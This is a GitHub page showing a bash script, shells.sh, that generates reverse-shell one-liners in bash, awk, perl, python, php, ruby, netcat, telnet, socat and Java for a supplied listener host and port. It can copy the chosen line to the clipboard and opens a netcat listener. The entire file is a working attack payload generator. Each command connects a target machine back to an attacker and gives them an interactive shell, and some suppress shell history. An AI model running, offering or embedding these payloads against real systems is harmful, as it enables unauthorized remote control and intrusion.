-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathshells.sh
More file actions
302 lines (233 loc) · 10.6 KB
/
shells.sh
File metadata and controls
302 lines (233 loc) · 10.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
#!/bin/bash
function check_lhost_check_lport() {
if [[ -z ${LHOST} ]] || [[ -z ${LPORT} ]] ; then
echo "No listening host provided!"
echo -e "\t OR"
echo "No listening port provided!"
exit 1
fi
}
function bash() {
check_lhost_check_lport
echo ""
echo "bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1"
echo ""
echo "exec /bin/bash 0&0 2>&0"
echo ""
echo "0<&196;exec 196<>/dev/tcp/${LHOST}/${LPORT}; sh <&196 >&196 2>&196"
echo ""
echo "exec 5<>/dev/tcp/${LHOST}/${LPORT} cat <&5 | while read line; do $line 2>&5 >&5; done"
echo ""
if [[ ${SAVE} == "True" ]] ; then
read -p "Selection [1-4]: " SEL
if [ -z ${SEL} ] ; then
echo "No selection made!"
exit 1
elif [ ${SEL} -eq 1 ] ; then
printf "bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1" | xclip -i -selection clipboard
elif [ ${SEL} -eq 2 ] ; then
printf "exec /bin/bash 0&0 2>&0" | xclip -i -selection clipboard
elif [ ${SEL} -eq 3 ] ; then
printf "0<&196;exec 196<>/dev/tcp/${LHOST}/${LPORT}; sh <&196 >&196 2>&196" | xclip -i -selection clipboard
elif [ ${SEL} -eq 4 ] ; then
printf "exec 5<>/dev/tcp/${LHOST}/${LPORT} cat <&5 | while read line; do $line 2>&5 >&5; done" | xclip -i -selection clipboard
elif [ ${SEL} -gt 4 ] ; then
printf "Selection higher than reverse shells available!"
exit 1
fi
fi
}
function awk() {
check_lhost_check_lport
echo ""
echo "awk 'BEGIN {s = \"/inet/tcp/0/${LHOST}/${LPORT}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "awk 'BEGIN {s = \"/inet/tcp/0/${LHOST}/${LPORT}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}'" /dev/null | xclip -i -selection clipboard
fi
}
function perl() {
check_lhost_check_lport
if [ -z ${OS} ] ; then
echo ""
echo "perl -e 'use Socket;$i=\"${LHOST}\";\$p=${LPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "perl -e 'use Socket;$i=\"${LHOST}\";\$p=${LPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" | xclip -selection clipboard
fi
elif [ ${OS} == "linux" ] ; then
echo ""
echo "perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"${LHOST}:${LPORT}\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'"
echo ""
echo "perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"${LHOST}:${LPORT}\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
read -p "Selection [1-2]: " SEL
if [ -z ${SEL} ] ; then
echo "No selection made!"
exit 1
elif [ ${SEL} -eq 1 ] ; then
printf "perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"${LHOST}:${LPORT}\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" | xclip -i -selection clipboard
elif [ ${SEL} -eq 2 ] ; then
printf "perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"${LHOST}:${LPORT}\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" | xclip -i -selection clipboard
elif [ ${SEL} -gt 2 ] ; then
echo "Selection higher than reverse shells available!"
exit 1
fi
fi
elif [ ${OS} == "windows" ] ; then
echo ""
echo "perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"${LHOST}:${LPORT}\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "perl -MIO -e '\$c=new IO::Socket::INET(PeerAddr,\"${LHOST}:${LPORT}\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" | xclip -i -selection clipboard
fi
fi
}
function python() {
check_lhost_check_lport
if [ -z ${PROTOCOL} ] ; then
echo "No protocol selected!"
echo "Protocol needed!"
echo -e "\nProtocols:\n\ttcp\n\tudp\n\tstcp\n"
elif [ ${PROTOCOL} == "tcp" ] ; then
echo ""
echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${LHOST}\",${LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"${LHOST}\",${LPORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" | xclip -i -selection clipboard
fi
elif [ ${PROTOCOL} == "udp" ] ; then
echo ""
echo "python -c 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"${LHOST}\",${LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn([\"/bin/bash\",\"-i\"]);s.close();'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "python -c 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect((\"${LHOST}\",${LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn([\"/bin/bash\",\"-i\"]);s.close();'" | xclip -i -selection clipboard
fi
elif [ ${PROTOCOL} == "stcp" ] ; then
echo ""
echo "python -c 'import os,pty,socket,sctp;s=sctp.sctpsocket_tcp(socket.AF_INET);s.connect((\"${LHOST}\",${LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn([\"/bin/bash\",\"-i\"]);s.close();exit();'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "\tpython -c 'import os,pty,socket,sctp;s=sctp.sctpsocket_tcp(socket.AF_INET);s.connect((\"${LHOST}\",${LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn([\"/bin/bash\",\"-i\"]);s.close();exit();'" | xclip -i -selection clipboard
fi
fi
}
function php() {
check_lhost_check_lport
echo ""
echo "php -r '$sock=fsockopen(\"${LHOST}\",${LPORT});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "php -r '$sock=fsockopen(\"${LHOST}\",${LPORT});exec(\"/bin/sh -i <&3 >&3 2>&3\");'" | xclip -i -selection clipboard
fi
}
function ruby() {
check_lhost_check_lport
if [ -z ${OS} ] ; then
echo ""
echo "ruby -rsocket -e'f=TCPSocket.open(\"${LHOST}\",${LPORT}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "ruby -rsocket -e'f=TCPSocket.open(\"${LHOST}\",${LPORT}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" | xclip -i -selection clipboard
fi
elif [ ${OS} == "linux" ] ; then
echo ""
echo "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"${LHOST}\",\"${LPORT}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"${LHOST}\",\"${LPORT}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" | xclip -i -selection clipboard
fi
elif [ ${OS} == "windows" ] ; then
echo ""
echo "ruby -rsocket -e 'c=TCPSocket.new(\"${LHOST}\",\"${LPORT}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "ruby -rsocket -e 'c=TCPSocket.new(\"${LHOST}\",\"${LPORT}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'" | xclip -i -selection clipboard
fi
fi
}
function netcat() {
check_lhost_check_lport
echo ""
echo "nc -e /bin/sh ${LHOST} ${LPORT}"
echo ""
echo "nc -c /bin/sh ${LHOST} ${LPORT}"
echo ""
echo "/bin/sh | nc ${LHOST} ${LPORT}"
echo ""
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${LHOST} ${LPORT} >/tmp/f"
echo ""
if [[ ${SAVE} == "True" ]] ; then
read -p "Selection [1-4]: " SEL
if [ -z ${SEL} ] ; then
echo "No selection made!"
exit 1
elif [ ${SEL} -eq 1 ] ; then
printf "nc -e /bin/sh ${LHOST} ${LPORT}" | xclip -i -selection clipboard
elif [ ${SEL} -eq 2 ] ; then
printf "nc -c /bin/sh ${LHOST} ${LPORT}" | xclip -i -selection clipboard
elif [ ${SEL} -eq 3 ] ; then
printf "/bin/sh | nc ${LHOST} ${LPORT}" | xclip -i -selection clipboard
elif [ ${SEL} -eq 4 ] ; then
print "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${LHOST} ${LPORT} >/tmp/f" | xclip -i -selection clipboard
elif [ ${SEL} -gt 4 ] ; then
echo "Selection higher than reverse shells available!"
exit 1
fi
fi
}
function telnet() {
check_lhost_check_lport
echo ""
echo "rm -f /tmp/p; mknod /tmp/p p && telnet ${LHOST} ${LPORT} 0/tmp/p"
echo ""
echo "telnet ${LHOST} ${LPORT} | /bin/bash | telnet ${HOST} 4445"
echo ""
if [[ ${SAVE} == "True" ]] ; then
read -p "Selection [1-2]: " SEL
if [ -z ${SEL} ] ; then
echo "No selection made!"
exit 1
elif [ ${SEL} -eq 1 ] ; then
printf "rm -f /tmp/p; mknod /tmp/p p && telnet ${LHOST} ${LPORT} 0/tmp/p" | xclip -i -selection clipboard
elif [ ${SEL} -eq 2 ] ; then
printf "telnet ${LHOST} ${LPORT} | /bin/bash | telnet ${HOST} 4445" | xclip -i -selection clipboard
elif [ ${SEL} -gt 2 ] || [ ${SEL} -lt 1 ] ; then
echo "Selection higher than reverse shells available!"
exit 1
fi
fi
}
function socat() {
check_lhost_check_lport
echo ""
echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${LHOST}:${LPORT}"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:${LHOST}:${LPORT}" | xclip -i -selection clipboard
fi
}
function java() {
check_lhost_check_lport
echo ""
echo -e "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/${LHOST}/${LPORT};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()"
echo ""
if [[ ${SAVE} == "True" ]] ; then
printf "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/${LHOST}/${LPORT};cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" | xclip -i -selection clipboard
fi
}
function listener() {
if [ -z ${ENV} ] ; then
echo "Environment needed to spawn correct terminal."
echo -e "\nSupported Terminals:\n\tgnome\n\txfce\n\tcinnamon\n\tKDE\n"
exit 1
elif [ ${ENV} == "gnome" ] ; then
gnome-terminal -e "nc -lvp ${LPORT}"
elif [ ${ENV} == "xfce" ] ; then
xfce4-terminal -e "nc -lvp ${LPORT}"
else
echo "Environment ${ENV} not recognized or supported at this time."
exit 1
fi
}